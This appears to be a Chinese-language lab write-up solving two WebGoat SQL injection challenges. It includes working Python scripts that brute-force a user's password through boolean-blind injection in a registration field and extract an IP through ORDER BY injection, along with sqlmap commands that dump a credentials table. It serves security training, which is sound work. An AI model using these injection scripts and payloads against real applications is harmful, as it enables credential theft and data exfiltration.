Web
主要挑两题看看。
0x01 普通注入
题目的注册功能处username_reg存在注入

从下图可以看到语句的真假不同对应的输出内容不同


因为题目要求以tom用户的身份登陆,需要知道tom的密码。这里的注册功能可以看到有查询用户是否已经注册的功能,于是可以猜测后台的SQL语句形如:
1
| select user from xxx_table where user='输入值';
|
于是可以尝试猜测密码字段为password,然后拼接处的SQL语句形如:
1
| select user from xxx_table where user='tom' and ascii(substring(password,0,1))='x'
|
通过这种方式爆破出tom用户的password,注意这里where语句后通过user和添加的password来定位数据库里是否存在对应的条目。
对应的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
import requests from string import printable chars = printable
vul_url = "http://192.168.0.135:8080/WebGoat/SqlInjectionAdvanced/challenge" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } cookies = { 'JSESSIONID': 'k4jL9x1Uj_9-X8-GCdp_u2KjQv5HT5IH6OsV2ofj' } i = 0 result = "" while True: i += 1 temp = result for char in chars: data = "username_reg=tom' and ascii(substring(password,{0},1))='{1}'--&email_reg=leon@163.com&password_reg=1234&confirm_password_reg=1234".format(i, ord(char)) resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies) if 'already exists' in resp.text: result += char print(result) if temp == result: break
|
得到账号密码:

这个问题同样可以使用SQLMap进行测试。
python3 sqlmap.py -r output_usernamereg.txt --current-db --dbms "HSQLDB

python3 sqlmap.py -r output_usernamereg.txt -D “PUBLIC” --tables --dbms “HSQLDB”
很迷惑,这里布尔盲注得到的数据不完整

其中sql_challenge_users表和challenge_users表都是可以注入出密码的
python3 sqlmap.py -r output_usernamereg.txt -D “PUBLIC” -T “CHALLENGE_USERS” -C “userid,password,email” --dump --dbms “HSQLDB”

0x02 Order By注入
问题如下图

通过抓包发现,注入点在排序这里
添加asc和desc进行判断


另外一种常用的检测payload:
1
| case when (1=1) then hostname else ip end
|
通过报错发现对应的表

利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
import requests from string import printable chars = printable
headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } cookies = { 'JSESSIONID': 'JnNqs11GVAq6lHXtWIWakl62Hx_ppe7ZkG7yJvJ_' } i = 0 result = "" while True: i += 1 temp = result for char in chars: vul_url = "http://192.168.0.135:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20ascii(substring(ip,{0},1))='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20ip%20end".format(i, ord(char)) resp = requests.get(vul_url, headers=headers, cookies=cookies) if 'webgoat-acc' in resp.json()[0]['hostname']: result += char print(result) if temp == result: break
|
爆破出ip:104.130.219.202
